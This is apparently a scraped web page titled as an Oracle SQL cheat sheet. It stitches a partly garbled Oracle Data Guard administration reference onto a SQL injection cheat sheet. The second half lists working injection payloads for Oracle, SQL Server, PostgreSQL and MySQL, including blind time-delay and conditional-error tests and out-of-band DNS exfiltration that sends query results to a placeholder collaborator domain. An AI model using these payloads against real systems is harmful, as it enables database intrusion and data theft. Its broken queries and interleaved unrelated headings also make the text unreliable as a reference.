Oracle Sql Commands Cheat Sheet

Data Guard Cheatsheet

Startup and Open Standby Database

Startup commands

startup nomount

alter database mount standby database;
alter database recover managed standby database disconnect; 
select severity, error_code,message,to_char(timestamp,'DD-MON-YYYY HH24:MI:SS') from v$dataguard_status;

Open standby read only

alter database recover managed standby database cancel;

select OPEN_MODE from v$database;

Back to redo apply (it only works when users are disconnect from the database)

alter database recover managed standby database disconnect from session;

Errors when users are connecting:

SQL> alter database recover managed standby database disconnect from session;

alter database recover managed standby database disconnect from session

*

ERROR at line 1:

ORA-01093: ALTER DATABASE CLOSE only permitted with no sessions connected

Check Primary and Standby Status

Check role and status (both primary and standby)

select NAME, DB_UNIQUE_NAME, OPEN_MODE, DATABASE_ROLE from v$database;

select NAME, OPEN_MODE, DATABASE_ROLE from v$database; --9i db

Check protection mode on primary database

select protection_mode, protection_level from v$database;

-------------------- --------------------

Check processes and statuses

SELECT PROCESS, STATUS,SEQUENCE#,BLOCK#,BLOCKS, DELAY_MINS FROM V$MANAGED_STANDBY;

Log Apply

Start log apply in standby

alter database recover managed standby database disconnect from session;

Remove a delay from a standby

alter database recover managed standby database cancel;

alter database recover managed standby database nodelay disconnect;

Cancel managed recovery/stop log apply

alter database recover managed standby database cancel;

Disable/Enable archive log destinations

alter system set log_archive_dest_state_2 = 'defer';
alter system set log_archive_dest_state_2 = 'enable';

Logical standby apply stop/start

Logs

Check which logs are missing and log apply gap

alter session set nls_date_format = 'DD-MON-YYYY HH24:MI:SS';

select sequence#, archived, applied, first_time, next_time from v$archived_log order by sequence#;

Run this on both primary and standby

select * from v$archive_gap;

, local.sequence# from

, sequence#

where dest_id=1) local

(select sequence#

where dest_id=2 and

/

See how up to date a physical standby is

selectmax(sequence#) current_seq fromv$log;

selectmax(applied_seq#) last_seq fromv$archive_dest_status;

Switch logs

alter system archive log current;

Register a missing log file

alter database register physical logfile '<fullpath/filename>';

If FAL doesn't work and it says the log is already registered

alter database register or replace physical logfile '<fullpath/filename>';

If that doesn't work, try this...

startup nomount

alter database recover automatic standby database;

wait for the recovery to finish - then cancel

startup nomount

alter database recover managed standby database disconnect;

Display info about all log destinations

To be run on the primary

set lines 100
set numwidth 15
column ID format 99
column 'SRLs' format 99
column active format 99
col type format a4
selectds.dest_id id
,ad.status
,ds.database_mode db_mode
,ad.archiver type
,ds.recovery_mode
,ds.protection_mode
,ds.standby_logfile_count 'SRLs'
,ds.standby_logfile_active active
,ds.archived_seq#
fromv$archive_dest_statusds
,v$archive_destad
whereds.dest_id = ad.dest_id
andad.status != 'INACTIVE'
order by
ds.dest_id
/

Display log destinations options

column id format 99

,archiver

,affirm

,net_timeout net_time

,reopen_secs reopen

fromv$archive_dest

dest_id

col member format a70

,st.sequence#

,lf.member

,v$logfilelf

Misc

Turn on fal tracing on the primary db

Stop the Data Guard broker

Pl Sql Cheat Sheet Pdf

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String concatenation

To unplug a database, use the following commands. It is recomm ended that the path used match the datafile storage location. ALTER PLUGGABLE DATABASE CLOSE. Oracle Cheat Sqlplus Commands d2nvmy6529nk. SQL.Plus Commands (not always supported in other clients like TOAD, SQL.Navigator,). This page lists the most important SQL statements and contains links to their documentation pages. If you need a basic tutorial on how to use the MariaDB database server and how to execute simple commands, see A MariaDB Primer. Also see Common MariaDB Queries for examples of commonly-used queries. Defining How Your Data Is Stored. A detailed SQL cheat sheet with essential references for keywords, data types, operators, functions, indexes, keys, and lots more. For beginners and beyond.

You can concatenate together multiple strings to make a single string.

Oracle	`'foo'\|\|'bar'`
Microsoft	`'foo'+'bar'`
PostgreSQL	`'foo'\|\|'bar'`
MySQL	`'foo' 'bar'` [Note the space between the two strings] `CONCAT('foo','bar')`

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

Oracle	`SUBSTR('foobar', 4, 2)`
Microsoft	`SUBSTRING('foobar', 4, 2)`
PostgreSQL	`SUBSTRING('foobar', 4, 2)`
MySQL	`SUBSTRING('foobar', 4, 2)`

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle	`--comment`
Microsoft	`--comment /comment/`
PostgreSQL	`--comment /comment/`
MySQL	`#comment` `-- comment` [Note the space after the double dash] `/comment/`

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle	`SELECT banner FROM v$version SELECT version FROM v$instance`
Microsoft	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version`

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

Oracle	`SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`
Microsoft	`SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
PostgreSQL	`SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
MySQL	`SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

Oracle	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual`
Microsoft	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END`
PostgreSQL	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END`
MySQL	`SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')`

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle	`Does not support batched queries.`
Microsoft	`QUERY-1-HERE; QUERY-2-HERE`
PostgreSQL	`QUERY-1-HERE; QUERY-2-HERE`
MySQL	`QUERY-1-HERE; QUERY-2-HERE`

Oracle Sql Functions Cheat Sheet

Note

With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle	`dbms_pipe.receive_message(('a'),10)`
Microsoft	`WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT pg_sleep(10)`
MySQL	`SELECT sleep(10)`

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

Oracle	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual`
Microsoft	`IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END`
MySQL	`SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')`

Mysql Commands Cheat Sheet

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Oracle Sql Commands Cheat Sheet

Oracle	The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence: `SELECT extractvalue(xmltype('<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [ <!ENTITY % remote SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/'> %remote;]>'),'/l') FROM dual` The following technique works on fully patched Oracle installations, but requires elevated privileges: `SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')`
Microsoft	`exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'`
PostgreSQL	`copy (SELECT ') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'`
MySQL	The following techniques work on Windows only: `LOAD_FILE('YOUR-SUBDOMAIN-HERE.burpcollaborator.neta')` `SELECT ... INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'`

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

Oracle	`SELECT extractvalue(xmltype('<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [ <!ENTITY % remote SYSTEM 'http://'\|\|(SELECT YOUR-QUERY-HERE)\|\|'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/'> %remote;]>'),'/l') FROM dual`
Microsoft	`declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree '//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a')`
PostgreSQL	`create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '') to program 'nslookup '\|\|p\|\|'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''; execute c; END; $$ language plpgsql security definer; SELECT f();`
MySQL	The following technique works on Windows only: `SELECT YOUR-QUERY-HERE INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'`